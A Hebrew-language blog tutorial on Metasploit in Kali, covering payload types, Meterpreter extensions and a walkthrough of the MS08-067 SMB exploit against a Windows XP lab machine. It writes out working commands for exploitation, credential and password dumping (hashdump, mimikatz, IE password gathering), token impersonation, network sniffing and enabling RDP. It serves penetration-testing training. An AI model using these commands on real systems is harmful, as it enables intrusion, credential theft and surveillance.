כל הזכויות שמורות לטל בן שושן – Shushan.co.il
הסבר הגדרה והפעלת Metasploit
Metasploit הוא כלי לביצוע Exploits ולא רק, לאחר ביצוע ה Exploit ה Metasploit מפעיל כלים שונים לבדיקה של מבדקי חדירה ופריצה אל מחשבים, IOT וכו'
הכלי נקנה על ידי חברת Rapid7 והוא מתוחזק על ידי החברה אך הוא מבוסס קוד פתוח, הקהילה מוספיה אל Metasploit אקספלויטים הצעות וכלים נוספים.
הכלי מגיע בנוי בתוך Kali ומשתמש לבדיקות חדירה, במאמר זה נראה כיצד להשתמש בו, מהם הכלים שיש בו לאחר ה Exploit מה שנקרא Post-Exploit.
*על מנת לתרגל ולהשתמש במאמר כמדריך, חייב את המכונות הבאות:
- Windows XP
- Kali 2017.1/2/3
תחילה נפתח ב Kali את Metasploit, פתחו את הטרמינל והקישו את הפקודה
בפקודה זו נפעיל את שירות ה SQL
sudo service postgresql start
כעת הקישו
sudo msfdb init
נבצע עדכון ל Metasploit
sudo apt update; apt install metasploit-framework
כעת נפעיל את Metasploit
sudo msfconsole
לאחר שהפעלתם את Metasploit נבדוק ונחקור את התיקיות שלו
נפתח את הנתיב
/usr/share/metasploit-framework/modules
נראה שם 4 תיקיות
Exploit – הוא קטע תוכנה המנצל פרצת אבטחה, המטרה היא לשנות את ההתנהגות של התוכנה או הרכיב ובכך ליצור מצב בו לא כך התוכנה אמורה לרוץ.
הסבר פשוט: הטלפון שלכם מוגן בסיסמא, דמיינו מצב בו "הזרקה" של קוד תשנה את ההתנהגות ולחיצה על כל מקש בטלפון תפתח את הטלפון ללא הסיסמא שלכם.
exploit לרוב יהיה שורות של קוד, המנצלות בעיה או פרצת אבטחה במערכת, מהרגע שבו ה Exploit הופעל והצליח לגשת אל המערכת, אנו נשתמש ב Payload על מנת לקבל את השליטה הרצויה
Payload – אני מתייחס למינוח של עולם אבטחת המידע, ה Payload למעשה בא לאחר שה exploit רץ והצליח לגשת אל המערכת על ידי ניצול הפרצה שהייתה קיימת בו, לאחר שה exploit רץ ה payload ונותן את הגישה הרצויה, לדוגמה גישת CMD או גישת Meterpreter
קיימים 3 סוגי Payload –
Singles – מכילים את כל הקוד להרצת ה Payload, וPayload אחד כזה יכול ליצור את ההתקשרות כולה למטרה ואינו זקוק לכך שהמשתמש יפעיל אותו או יבצע פעולה שמשלימה אותו.
Stagers – מכיל חלק מהPayload, ולרוב יהיה זה שיוצר את ההתקשרות אל המטרה אותה תוקפים, לרוב יהיה קטן יותר מSingles
Stages – דורש מהמחשב המותקף ליצור את החיבור, כדוגמת Handler בה המשתמש מפעיל Payload.exe וה Payload.exe שולח את ההתחברות אל ה Hander, במקרה זה ה Handler פותח Stages ומתחבר, לכן Stages לא מכיל את ה Payload באופן מלא.
בבחירת ה Payload נתקל בצורות הבאות:
Single Payload
לא תראו חלוקה בבחירת ה Payload ובתקייה בה הוא נמצא, שכן הוא "מלא" יותר
windows\shell_bind_tcp
Stagers & Stages
תראו חלוקה בין ה shell לבין ה bind_tcp
windows\shell\bind_tcp
bind_tcp – הוא ה Stager
shell הוא ה Stages
על מנת לבצע סריקה של Payload נוכל לחפש
show payloads
על מנת לקבל מידע על Payload נקיש
info payload/windows/meterpreter/revrese_tcp
על מנת לבחור payload נקיש
set payload/windows/meterpreter/revrese_tcp
על מנת לראות מה חייב להקיש ולתת "מידע" ל payload נקיש (זה תקף גם ל Exploit)
show options
Forward Connection
הוא הצורה בה ה Payload יצור את החיבור, זאת אומרת שבמצב Forward Connection ה Payload עצמו, ה Kali שלכם , עם הכתובת IP שלו ינסה לפנות ישירות למטרה:
ה Exploit ירוץ על המטרה ואז ה Payload יופעל, ברגע זה הKali שלכם הוא זה שינסה ליצור קשר עם ה Payload
כך נראה Forward Payload
Single Payload
windows/meterpreter_bind_tcp
Stage
windows/meterpreter/bind_tcp
Reverse Conneciton
הצורה בה ה Payload יצור את החיבור, זאת אומרת שבמצב Reverse Connection ה Exploit ירוץ על המטרה ולאחר מכן יריץ את ה Payload, בנקודה זו ה Payload ינסה ליצור קשר עם ה Kali ולא להפך
Single Payload
windows/meterpreter_reverse_tcp
Stage
windows/meterpreter/reverse_tcp
Meterpreter
הוא כלי המכיל מודלים בהם ניתן להשתמש על מנת להקל על העבודה של התוקף, הוא מכיל סט נרחב של כלים שאסקר כעת
הוא מודולרי
הוא נטען כStage או Stager והוא יכול לטעון מודלים כשצריך (אסביר בהמשך מהם מודלים)
Reflective DLL Injection , הוא מזריק את המודלים (והPayload עצמו) אל תהליכים במחשב ואין שום קובץ בדיסק, כך נשאר נסתר יותר.
לMeterpreter קיימים 3 DLLs והם:
metsrv – השירות עצמו של Meterpreter
stdapi – מכיל את ה Standard API, שאיתו ניתן לגשת לקבצים, רשת ומאפייני מערכת במטרה (ווינדוס לינוקס וכו')
priv – קיצור של Privileges שאחראי על ההרשאות של Meterpreter
Extension
לMeterpreter קיימים Extensions , אלו הם הרחבות הנותנות אפשרויות רבות ומאפשרות לתוקף להשיג יותר נתונים, הרשאות וגישה אל המטרה.
על מנת לטעון Extension נקיש
load extension_name
על מנת לקבל מידע נקיש
help extension
רשימת ההרחבות:
extapi – אחראי על ניהול של שירותי Windows, לוח העתק והדבק של המשתמש, שירותי ה AD ו WMI
sniffer – האזנה לרשת (בדיוק כמו שמו)
espia – אחראי על המצלמה והמיקרופון של המטרה
mimikatz – המפורסם, אוסף הרשאות , יותר נכון מבצע HashDump, שירותי Kerberos והרשאות כרטיס ( TGT,TGS, Pass The Hash וכו')
lanattacks – התקפות מסוג DHCP Starvatrion או DHCP Rogue
incognito – יכול לבצע Hashdump ולרוב ישתמשו בו על מנת לבצע Impersonation Tokens
networkpug – משנה חבילות או משנה את הנתיב של החיבות (סוג של ביצוע MITM)
לא כל הרחבה תטען, על מנת לטעון את רובן יש צורך בהרשאות מתאימות, לרוב הרשאת SYSTEM תתן לנו לטעון את כל ההרחבות
Stdapi Extention
נוכל להשתמש בפקודות הכלולות ב stdapi
כמו:
getuid – אם איזה משתמש אנחנו מחוברים ואילו הרשאות יש לנו
sysinfo – מידע על מערכת ההפעלה
ps – לראות את רשימת כל השירותים שעובדים ברקע
cd, pwd,ls – ממש כמו בלינוקס, איפה אתם נמצאים מבחינת מערכת הקבצים, להיכנס לתיקייה
Prive Extention
hashdump – לקבל את רשימת ה Hash של המשתמשים
getpriv – לבדוק אילו הרשאות יש לנו
getsystem – מידע על המערכת
Incognito Extention
load incognito – לטעון את ההרחבה
add_user – להוסיף משתמש קיים
imporsante_token – להתחזות לאחד המשתמשים המחוברים כעת למערכת
Sniffer Extention
על מנת להפעיל את Sniffer ולהאזין לרשת נקיש
sniffer_interfaces
נאמר וכרטיס הרשת הוא 1 אז:
sniffer_start 1
על מנת לעצור אותו
sniffer_stop 1
על מנת לפתוח את קובץ ה pcap
sniffer_dump 1 target.pcap
סוגי מודלים ב Metasploit
Post-Exploitation
Post – סט של כלים שמריצים לאחר שהשגנו גישה (לא חייבת להיות מלאה) לאחר שה exploit רץ וה payload השיג לנו גישה, למשל ניתן להוסיף משתמשים למנהל המשתמשים של המחשב, ניתן לקבל את ה Hashdump ובכך לנסות להשיג את סיסמת מנהל המחשב, Migrate יעביר את ה Session שפתחנו לשירות אחר וכו'
run post/windows/gather/enum_shares – לקבל רשימה של כל תיקיות השיתוף
run post/windows/manage/enable_rdp – לאפשר RDP
run post/windows/gather/enum_ie – לקבל את כל הסיסמאות והמידע השמור בIE
Auxiliary
Auxiliary – כל מה שלא Exploit ב Metasploit הוא למעשה Auxiliary Module כמו למשל "סריקת כתובות" "סריקת מיילים" אתם בעצם מפעילים את ה auxiliary, בוחרים את הפעולה הרצויה הקיימת (או יוצרים אחד משלכם) ואז מריצים את הסריקה, ב Auxiliary של Metasploit הרוב המוחלט הוא סריקות:
DCERPC
Discovery
FTP
HTTP
IMAP
MSSQL
MySQL
NetBIOS
POP3
SMB
SMTP
SNMP
SSH
Telnet
TFTP
VMWare
VNC
Local Exploit
הם Exploits שאמורים לתת אפשרות להפעיל Exploits על גבי תחנה שיש לנו כבר גישה אליה ובכך לעלות את ההרשאות (אם אנחנו מחוברים כמשתמש רגיל \ Local וכו') לבטל את UAC וכו'
במצב כזה נכניס את Meterpreter לרקע
background
ונוכל להשתמש
use exploit/windows/local/NameOfTheExploit
Metasploit Kali
כעת נעבור להסברים על המערכת עצמה וכיצד אפשר להפעיל Exploit ואת המודלים שאיתו
נכנס לדוגמה לנתיב
/usr/share/metasploit-framework/modules/exploit/windows/iis
נפתח את הקובץ ונוכל לקרוא מה עושה ה exploit, מה מטרתו ומה דרישותיו, כמובן שאין צורך לבצע את זה מכאן ( ה metasploit יכול להציג לכם את זה בצורה נוחה יותר) אך בנוסף להסבר תוכלו לראות מה עושה ה exploit
כעת נחזור ל Metasploit נוכל על ידי הפקודה, לבצע חיפוש ל Exploit מסוים שאנחנו מחפשים
msf > search ms08-067
למטה נוכל לראות את הנתיב המלא בו ה Exploit נמצא
exploit/windows/smb/ms08_67_netapi
כעת נוכל לרשום
msf > info exploit/windows/smb/ms08_67_netapi
ולקבל יותר פרטים
נוכל לראות את השם המלא, לאיזה לפלפורמה הוא מתאים, האם הוא דורש הרשאות מנהל ואיזה מערכות הפעלה הוא יכול לרוץ (בתנאי שהמחשב פגיע)
כעת נקיש את הפקודה
use – פקודה זו תגדיר שאנחנו רוצים להשתמש ב Exploit הזה
msf > use exploit/windows/smb/ms08_67_netapi
כעת נקיש show options
msf exploit (ms08_67_netapi) > show options
נוכל לראות שיש לנו 3 הגדרות שנוכל לשנות
RHOST – קיצור של Remote Host מהו המחשב שאותו אנו ננסה לתקוף?
RPORT – איזה פורט נשתמש על מנת ליצור את החיבור
SMBPIPE – באיזה פרוטוקול להשתמש
נגדיר את כתובת ה IP של ה Windows XP
msf exploit (ms08_67_netapi) > set rhost 192.168.1.125
נקיש שוב
msf exploit (ms08_67_netapi) > show options
נוכל לראות שהכתובת IP הוגדרה נכון
כעת הגדרנו את ה Exploit, אבל אנחנו צריכים גם Payload על מנת להגדיר כיצד נקבל את הגישה למחשב
msf exploit (ms08_67_netapi) > show payloads
ניתן לראות הרבה Payloads אבל אנחנו נשתמש בנפוץ ביותר
נגדיר Payload שיתן לנו גישה מסוג CMD Shell
msf exploit (ms08_67_netapi) > set payload windows/shell/bind_tcp
כעת נקיש שוב
msf exploit (ms08_67_netapi) > show options
ניתן לראות שהכל מוגדר כולל ה payload
כעת נרשום exploit או run
msf exploit (ms08_67_netapi) > exploit
נוכל לראות שיש לנו גישה למערכת
נוכל להקיש Ctrl + Z ואז לשמור את ה Session ברקע ולבצע עוד פעולות שאנו רוצים.
לאחר מכן נוכל להקיש, פקודה זו תציג לנו איזה sessions פתוחים ברגע
msf exploit (ms08_67_netapi) > sessions -l
על מנת לחזור לשיחה הפתוחה ברגע יש להקיש את הפקודה ובסוף 1 זאת על מנת לחזור לשיחה מספר 1 כמו שרשום
msf exploit (ms08_67_netapi) > sessions -i 1
1 comment
הסבר מעולה, תודה!